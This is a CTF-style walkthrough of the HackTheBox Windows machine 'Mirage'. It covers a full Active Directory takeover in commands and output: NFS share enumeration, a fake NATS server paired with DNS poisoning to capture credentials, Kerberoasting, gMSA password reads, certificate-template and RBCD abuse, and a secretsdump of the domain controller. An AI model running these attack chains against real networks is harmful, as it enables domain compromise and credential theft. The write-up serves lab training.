https://app.hackthebox.com/machines/Mirage
Machine Name: Mirage
Target IP: $IP
DIFFICULTY:Hard
Points: 40
OS:Windows
nmap -v -sCTV -p- -T4 -Pn $IP
Nmap scan report for 10.10.11.78 Host is up (0.43s latency). Not shown: 985 closed tcp ports (reset) PORT   STATE SERVICE    VERSION 53/tcp  open domain    Simple DNS Plus 88/tcp  open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-20 11:19:33Z) 111/tcp  open rpcbind? |_rpcinfo: ERROR: Script execution failed (use -d to debug) 135/tcp  open msrpc     Microsoft Windows RPC 139/tcp  open netbios-ssn  Microsoft Windows netbios-ssn 389/tcp  open ldap     Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 445/tcp  open microsoft-ds? 464/tcp  open kpasswd5? 593/tcp  open ncacn_http  Microsoft Windows RPC over HTTP 1.0 636/tcp  open ssl/ldap   Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 2049/tcp open mountd    1-3 (RPC #100005) 3268/tcp open ldap     Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap   Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE | Not valid before: 2025-07-04T19:58:41 |_Not valid after: 2105-07-04T19:58:41 |_ssl-date: TLS randomness does not represent time 5985/tcp open http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 50300/tcp open msrpc     Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: |  3:1:1: |_  Message signing enabled and required | smb2-time: |  date: 2025-07-20T11:20:47 |_ start_date: N/A |_clock-skew: -2h59m07s
dc01.mirage.htb mirage.htb nats-svc.mirage.htb
While enumerating open ports on the target 10.10.11.78, we noticed that port 2049/tcp was open, which is typically used for NFS (Network File System). This suggests we might be able to access shared directories remotely.
2049/tcp open mountd    1-3 (RPC #100005)
NFS can often be misconfigured to allow unauthenticated access. So, the next logical step is to check for exported file shares using showmount.
We used the following command to enumerate shared directories:
showmount -e 10.10.11.78
Output:
Export list for 10.10.11.78: /MirageReports (everyone)
This confirms that /MirageReports is an NFS share accessible to everyone â likely world-readable. This is a strong indicator of potential information disclosure.
To explore this share, we mounted it on our local machine.
mkdir /tmp/mirage sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage
Once mounted, we navigated into the directory to inspect its contents.
cd /tmp/mirage ls
Files found:
Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
These documents immediately caught our attention â incident reports and hardening guides often contain juicy internal details such as usernames, server hostnames, exposed services, or security misconfigurations.
After reviewing the PDF files found via the NFS share, one stood out:
Mirage_Authentication_Hardening_Report.pdf.
This document outlines a recommendation to:
This is critical. If nats-svc.mirage.htb is missing in DNS and the environment enforces Kerberos, we can abuse DNS updates to redirect that service name to our attacking machine â tricking the system into authenticating to us.
Before proceeding, we ensure our Kali box is ready to communicate via Kerberos by configuring /etc/krb5.conf:
[libdefaults]   dns_lookup_kdc = false   dns_lookup_realm = false   default_realm = MIRAGE.HTB [realms]   MIRAGE.HTB = {     kdc = dc01.MIRAGE.HTB     admin_server = dc01.MIRAGE.HTB     default_domain = MIRAGE.HTB   } [domain_realm]   .MIRAGE.HTB = MIRAGE.HTB   MIRAGE.HTB = MIRAGE.HTB
Weâre told nats-svc.mirage.htb lacks a DNS record. Thatâs our opportunity.
We first create a fake NATS server listening on port 4222 â the default for NATS.
đ§ fake_server.py
import socket print("[+] Fake NATS Server listening on 0.0.0.0:4444") s = socket.socket() s.bind(("0.0.0.0", 4222)) s.listen(5) while True: Â Â client, addr = s.accept() Â Â print(f"[+] Connection from {addr}") Â Â client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n') Â Â data = client.recv(1024) Â Â print("[>] Received:") Â Â print(data.decode()) Â Â client.close()
Now poison the DNS:
nsupdate > server 10.10.11.78 > update add nats-svc.mirage.htb 3600 A 10.10.x.x
Once the target attempts to reach the NATS server, it authenticates to us â and we capture credentials:
[>] Received: CONNECT {"user":"Dev_Account_A","pass":"hXXXXXXXXXXXXXXXXXXX", ... }
We now install and configure natscli to interact using the credentials we captured:
/opt/nats/nats context add dev-nats \ Â --server nats://dc01.mirage.htb:4222 \ Â --user Dev_Account_A \ Â --password 'hXXXXXXXXXXXXXXXXX' \ Â --description "Dev access"
Then subscribe to all messages:
/opt/nats/nats --context dev-nats sub ">" --count 10
We observed live traffic including advisory events and auth_logs.
We create a JetStream consumer to dump past authentication logs:
/opt/nats/nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit
Use the following values:
Now retrieve all messages:
/opt/nats/nats --context dev-nats consumer next auth_logs audit-reader --count=5 --wait=5s --ack
{"user":"david.jjackson","password":"XXXXXXXXXXXXXXXXXXXX"}
Ensure time sync with the DC:
sudo ntpdate dc01.mirage.htb
Then test the captured creds via LDAP:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k
â Success!
Also, enumerate domain users:
nxc ldap 10.10.11.78 -u david.jjackson -p 'XXXXXXXXXXXXXXXXXXXXXXXX' -k --users
Sample output:
mirage.htb\david.jjackson mirage.htb\svc_mirage mirage.htb\Dev_Account_A mirage.htb\nathan.aadam ...
With valid credentials and Kerberos access, we run bloodhound-python:
bloodhound-python -u david.jjackson -p 'XXXXXXXXXXXXXXXXX' \ -k -d mirage.htb -ns 10.10.11.78 -c All --zip
This completes enumeration of:
Output is ready to be uploaded to BloodHound for privilege escalation analysis.
After some user enumeration, we identified a valid domain user: david.jjackson. From previous steps, we had obtained a valid TGT using Kerberos (-k flag), which let us attempt Kerberoasting using Impacket's GetUserSPNs tool.
impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -request
This pulled a Service Principal Name (SPN)-based ticket for another user:
ServicePrincipalName Name MemberOf ------------------------ ------------ ------------------------------------------------------- HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,...
The tool also dumped a TGS hash (Kerberos service ticket) for nathan.aadam, which we saved for offline cracking.
The hash type for SPN-based TGS tickets is -m 13100 (Kerberos 5 TGS-REP etype 23). We used rockyou.txt to attempt cracking the hash:
hashcat -m 13100 nathan.hash /usr/share/wordlists/rockyou.txt --show
After a short while, the password was revealed:
nathan.aadam:xxxxxxxx
We now had valid credentials for nathan.aadam.
We proceeded to get a Kerberos Ticket Granting Ticket (TGT) using impacket-getTGT:
impacket-getTGT mirage.htb/nathan.aadam:'xxxxxxx'
A .ccache file was saved:
[*] Saving ticket in nathan.aadam.ccache
We then exported the ticket for use:
export KRB5CCNAME=nathan.aadam.ccache
Now, we could authenticate using Kerberos (no password prompt needed) and spawn a WinRM shell:
evil-winrm -i dc01.mirage.htb -r mirage.htb
â ď¸ Note: We did not supply a username or password â the session used our Kerberos ticket.
Once connected, we successfully landed a shell as:
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
After gaining access as nathan.aadam, we pivoted toward privilege escalation using data gathered via BloodHound and Active Directory abuse techniques.
BloodHound analysis revealed a potential attack path:
Nathan.aadam â MemberOf IT_ADMIN MARK.BBOND (IT_SUPPORT) â ForceChangePassword â JAVIER.MMARSHALL JAVIER.MMARSHALL â ReadGMSAPassword â MIRAGE-SERVICE$
Our goal: Abuse ReadGMSAPassword on MIRAGE-SERVICE$ to ultimately escalate privileges.
On Nathanâs session, we queried the registry for autologon credentials:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
We found:
DefaultUserName  REG_SZ  mark.bbond  DefaultPassword  REG_SZ  1dXXXXXXXX
â Valid credentials:
mark.bbond:1dXXXXXX
Using bloodyAD, we leveraged ForceChangePassword from Mark to reset Javier's credentials:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1dXXXXXX' set password JAVIER.MMARSHALL 'P4ssw0rd!'
â Password successfully changed.
However, trying to query msDS-ManagedPassword failed:
KerberosError: KDC_ERR_CLIENT_REVOKED
Checking user status:
bloodyAD --kerberos -u "mark.bbond" -p '1dxxxxxxx' -d "mirage.htb" --host "dc01.mirage.htb" get object "javier.mmarshall" --attr userAccountControl
Status:
OU=Disabled userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT
To fix this, we removed the ACCOUNTDISABLE flag:
bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE
â Javierâs account re-enabled.
Now with Javierâs account active, we pulled the GMSA password:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p 'P4ssw0rd!' get object 'Mirage-Service$' --attr msDS-ManagedPassword
Output:
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b4xxxxxxxxx:305806d84f7c1be93a07aaf4xxxxxxxxxx
â We now have the NTLM hash of Mirage-Service$.
impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aafxxxxxxxxx
Ticket saved to Mirage-Service$.ccache.
export KRB5CCNAME=Mirage-Service\$.ccache
From Mirage-Service$, we abused certificate templates using Certipy:
Step 1: Modify UPN of Markcertipy-ad account update \ -user 'mark.bbond' \ -upn '[email protected]' \ -u '[email protected]' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target dc01.mirage.htbStep 2: Revert UPN and Request a Certificate
export KRB5CCNAME=mark.bbond.ccache certipy-ad req \ -u '[email protected]' \ -k -no-pass \ -dc-ip 10.10.11.78 \ -target 'dc01.mirage.htb' \ -ca 'mirage-DC01-CA' \ -template 'User'
â Certificate saved as dc01.pfx.
Using the certificate:
certipy-ad auth \ -pfx dc01.pfx \ -dc-ip 10.10.11.78 \ -ldap-shell
In the shell:
set_rbcd dc01$ Mirage-Service$
â RBCD granted â Mirage-Service$ can now impersonate dc01$.
We used S4U2Self + S4U2Proxy to get a service ticket as dc01$:
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' \ -dc-ip 10.10.11.78 \ 'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07axxxxxxx
â Got a TGS ticket for cifs/DC01.
impacket-secretsdump -k -no-pass mirage.htb/[email protected] -dc-ip 10.10.11.78
â Administrator hash dumped!
impacket-getTGT mirage.htb/Administrator -hashes :7be6d4f3c2b9c0e356XXXXXXXXXX -dc-ip 10.10.11.78
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companiesÂ
[*] Saving ticket in Administrator.ccache